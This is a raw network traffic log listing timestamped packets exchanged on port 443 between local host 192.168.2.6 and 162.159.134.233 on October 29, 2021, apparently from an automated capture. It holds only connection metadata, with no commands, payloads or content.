Oct 29, 2021 17:55:36.170797110 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170803070 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170845032 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170903921 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.170911074 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.170917988 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.171015024 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.186225891 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.186316013 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.186994076 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187089920 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187096119 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187108994 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187167883 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187211990 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187223911 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187233925 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187243938 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187268019 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187284946 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187290907 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187297106 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187316895 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187334061 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187359095 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187362909 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187374115 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187413931 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187443018 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187453032 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187463999 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187468052 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187515974 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187530994 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187540054 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187550068 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187562943 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187575102 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187582970 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187607050 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187618971 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187658072 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187684059 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187691927 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187704086 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187707901 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187737942 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187781096 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187789917 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.187799931 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.187803030 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.188270092 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.188908100 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.203882933 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.203943968 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.203994989 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204041958 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204051018 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204068899 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204081059 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204088926 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204138994 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204180002 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204185963 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204196930 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204235077 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204240084 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204250097 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204279900 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204283953 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204288006 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204324007 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204377890 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204379082 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204381943 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204391956 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204443932 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204457045 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204463005 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204494953 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204504967 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204557896 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204564095 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204571009 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204859972 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204935074 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204965115 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.204974890 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.204991102 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.205030918 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.205037117 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.205070972 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.205164909 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.211661100 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.211674929 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.211760044 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.212613106 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.212624073 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.212635040 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.212877035 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.212888002 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.212898016 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.212905884 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.212979078 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.212985992 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.213041067 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.213047028 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.213057041 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.213085890 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.213248968 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.217691898 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.217700005 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.220283985 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.220324993 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.220649004 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.220665932 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.220745087 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.221935034 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.221971035 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222090960 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222095966 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222100973 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222126961 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222158909 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222176075 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222182035 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222227097 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222265959 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222278118 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222282887 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222315073 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222349882 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222388983 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222393990 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222419977 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222433090 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222464085 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222481966 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222487926 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222500086 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222562075 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222616911 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222649097 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222729921 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222771883 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222780943 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.222872019 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222898960 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222929001 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.222987890 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223026037 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223083973 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.223089933 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223117113 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.223270893 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223304033 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223401070 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.223407030 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223484039 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223537922 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.223543882 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223561049 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.223661900 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223752022 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223845959 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.223853111 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.223859072 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224076986 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224158049 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224164963 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224200010 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224270105 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224275112 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224287987 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224315882 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224354982 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224361897 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224374056 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224402905 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224436998 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224455118 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224461079 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224463940 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224720001 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.224729061 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224746943 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.224879026 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.225466013 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.225512028 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.225548029 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.225558996 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.226239920 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.237473965 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.237517118 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.238692045 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.238708973 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.240802050 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.240843058 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.240962982 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241082907 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.241100073 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241111994 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241173983 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.241210938 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241252899 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241265059 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.241272926 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241285086 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.241321087 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.241381884 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.244807005 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.244827032 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.244843006 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245095968 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.245112896 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245127916 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245136023 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245238066 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.245249033 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245261908 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245265007 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.245337009 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.245804071 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245850086 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245934963 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245934963 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.245942116 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.245950937 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.245987892 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.246037006 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.246047974 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.246056080 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.246733904 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.246778011 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.246815920 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.246829987 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.246906996 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.246928930 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.247114897 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.247186899 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.247201920 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.247211933 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.247895002 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.247945070 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.247983932 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.247998953 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248043060 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248095989 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248099089 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248106956 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248114109 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248146057 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248162985 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248193979 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248233080 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248245955 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248269081 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248298883 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248352051 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248362064 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248368025 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248378992 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248404026 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248452902 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248469114 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248483896 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248500109 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248511076 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248517036 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248528004 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248564959 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248595953 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248625994 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248658895 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248671055 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248682022 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248687983 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248693943 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248720884 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248727083 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248738050 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248804092 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248806953 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248816013 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248821974 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248836994 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248886108 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248909950 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248918056 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248927116 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248958111 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248974085 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.248984098 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.248999119 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.249036074 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.249047041 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.249056101 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.249130011 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.249139071 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.249202967 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.252690077 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.252708912 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.252726078 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.252732992 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.252872944 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.252883911 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.252901077 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.252919912 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.252931118 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.253115892 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.253129959 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.253153086 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.253274918 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.257916927 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.257945061 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.257965088 CEST	443	49835	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.258124113 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.258141041 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.304852962 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.307615995 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.310750008 CEST	49835	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.766146898 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.766189098 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.766331911 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.766916037 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.766937017 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.805504084 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.808617115 CEST	49837	443	192.168.2.6	162.159.134.233
Oct 29, 2021 17:55:36.808650017 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.870671034 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.870780945 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.870824099 CEST	443	49837	162.159.134.233	192.168.2.6
Oct 29, 2021 17:55:36.870867968 CEST	443	49837	162.159.134.233	192.168.2.6
